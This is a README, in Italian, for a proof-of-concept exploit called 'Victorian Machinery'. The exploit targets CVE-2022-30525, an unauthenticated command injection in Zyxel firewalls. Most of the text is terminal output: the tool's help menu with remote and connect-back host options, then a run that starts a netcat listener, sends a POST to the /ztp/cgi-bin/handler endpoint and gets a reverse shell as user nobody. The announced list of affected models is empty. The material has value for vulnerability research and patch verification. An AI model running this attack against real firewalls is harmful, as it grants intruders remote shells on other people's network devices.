
Proof of concept di exploit per CVE-2022-30525 (iniezione di comandi nel firewall Zxyel)
Victorian Machinery è un exploit proof of concept per CVE-2022-30525. La vulnerabilità è una vulnerabilità di iniezione di comandi non autenticata e remota che colpisce i firewall Zyxel che supportano il zero touch provisioning. Zyxel ha rilasciato una correzione per questo problema il 28 aprile 2022. I seguenti modelli sono noti per essere interessati:
Al momento della scrittura, c'erano più di 16,000 dispositivi interessati visibili su Shodan. Esporre l'interfaccia web di gestione non è l'impostazione predefinita, il che implica che ci sono molti più sistemi interessati non esposti a Internet. Questi sistemi supportano anche l'aggiornamento automatico (non abilitato per impostazione predefinita), quindi un buon sottoinsieme è già stato corretto contro questo problema.
Victorian Machinery sfrutta il bersaglio e cattura una reverse shell utilizzando un listener nc forkato. Questo è stato testato su Ubuntu 20.04. Il PoC tenta di eseguire /usr/bin/nc per impostazione predefinita. Se il tuo si trova da un'altra parte, dovrai aggiornare l'opzione . Vedi il menu di aiuto completo qui sotto:
ncnc-pathalbinolobster@ubuntu:~/victorian_machinery$ python3 victorian_machinery.py --help
$$\ $$\ $$\ $$\ $$\
$$ | $$ |\__| $$ | \__|
$$ | $$ |$$\ $$$$$$$\ $$$$$$\ $$$$$$\ $$$$$$\ $$\ $$$$$$\ $$$$$$$\
\$$\ $$ |$$ |$$ _____|\_$$ _| $$ __$$\ $$ __$$\ $$ | \____$$\ $$ __$$\
\$$\$$ / $$ |$$ / $$ | $$ / $$ |$$ | \__|$$ | $$$$$$$ |$$ | $$ |
\$$$ / $$ |$$ | $$ |$$\ $$ | $$ |$$ | $$ |$$ __$$ |$$ | $$ |
\$ / $$ |\$$$$$$$\ \$$$$ |\$$$$$$ |$$ | $$ |\$$$$$$$ |$$ | $$ |
$$\ \_/ $$\__| \_______| \____$$\______$$\__| \__| \_______|\__| \__|
$$$\ $$$ | $$ | \__|
$$$$\ $$$$ | $$$$$$\ $$$$$$$\ $$$$$$$\ $$\ $$$$$$$\ $$$$$$\ $$$$$$\ $$\ $$\
$$\$$\$$ $$ | \____$$\ $$ _____|$$ __$$\ $$ |$$ __$$\ $$ __$$\ $$ __$$\ $$ | $$ |
$$ \$$$ $$ | $$$$$$$ |$$ / $$ | $$ |$$ |$$ | $$ |$$$$$$$$ |$$ | \__|$$ | $$ |
$$ |\$ /$$ |$$ __$$ |$$ | $$ | $$ |$$ |$$ | $$ |$$ ____|$$ | $$ | $$ |
$$ | \_/ $$ |\$$$$$$$ |\$$$$$$$\ $$ | $$ |$$ |$$ | $$ |\$$$$$$$\ $$ | \$$$$$$$ |
\__| \__| \_______| \_______|\__| \__|\__|\__| \__| \_______|\__| \____$$ |
$$\ $$ |
⚙ jbaines-r7 \$$$$$$ |
CVE-2022-30525 \______/
🦞
usage: victorian_machinery.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST [--lport LPORT] [--protocol PROTOCOL] [--nc-path NCPATH]
Zyxel Firewall Command Injection (CVE-2022-30525)
optional arguments:
-h, --help show this help message and exit
--rhost RHOST The remote address to exploit
--rport RPORT The remote port to exploit
--lhost LHOST The local address to connect back to
--lport LPORT The local port to connect back to
--protocol PROTOCOL The protocol handler to use
--nc-path NCPATH The path to nc
albinolobster@ubuntu:~/victorian_machinery$ python3 victorian_machinery.py --rhost 10.0.0.14 --lhost 10.0.0.28
$$\ $$\ $$\ $$\ $$\
$$ | $$ |\__| $$ | \__|
$$ | $$ |$$\ $$$$$$$\ $$$$$$\ $$$$$$\ $$$$$$\ $$\ $$$$$$\ $$$$$$$\
\$$\ $$ |$$ |$$ _____|\_$$ _| $$ __$$\ $$ __$$\ $$ | \____$$\ $$ __$$\
\$$\$$ / $$ |$$ / $$ | $$ / $$ |$$ | \__|$$ | $$$$$$$ |$$ | $$ |
\$$$ / $$ |$$ | $$ |$$\ $$ | $$ |$$ | $$ |$$ __$$ |$$ | $$ |
\$ / $$ |\$$$$$$$\ \$$$$ |\$$$$$$ |$$ | $$ |\$$$$$$$ |$$ | $$ |
$$\ \_/ $$\__| \_______| \____$$\______$$\__| \__| \_______|\__| \__|
$$$\ $$$ | $$ | \__|
$$$$\ $$$$ | $$$$$$\ $$$$$$$\ $$$$$$$\ $$\ $$$$$$$\ $$$$$$\ $$$$$$\ $$\ $$\
$$\$$\$$ $$ | \____$$\ $$ _____|$$ __$$\ $$ |$$ __$$\ $$ __$$\ $$ __$$\ $$ | $$ |
$$ \$$$ $$ | $$$$$$$ |$$ / $$ | $$ |$$ |$$ | $$ |$$$$$$$$ |$$ | \__|$$ | $$ |
$$ |\$ /$$ |$$ __$$ |$$ | $$ | $$ |$$ |$$ | $$ |$$ ____|$$ | $$ | $$ |
$$ | \_/ $$ |\$$$$$$$ |\$$$$$$$\ $$ | $$ |$$ |$$ | $$ |\$$$$$$$\ $$ | \$$$$$$$ |
\__| \__| \_______| \_______|\__| \__|\__|\__| \__| \_______|\__| \____$$ |
$$\ $$ |
⚙ jbaines-r7 \$$$$$$ |
CVE-2022-30525 \______/
🦞
[+] Executing netcat listener
[+] Using /usr/bin/nc
Listening on 0.0.0.0 1270
[+] Sending a POST request to https://10.0.0.14:443/ztp/cgi-bin/handler
Connection received on 10.0.0.14 43957
bash: cannot set terminal process group (10800): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1$ id
id
uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr)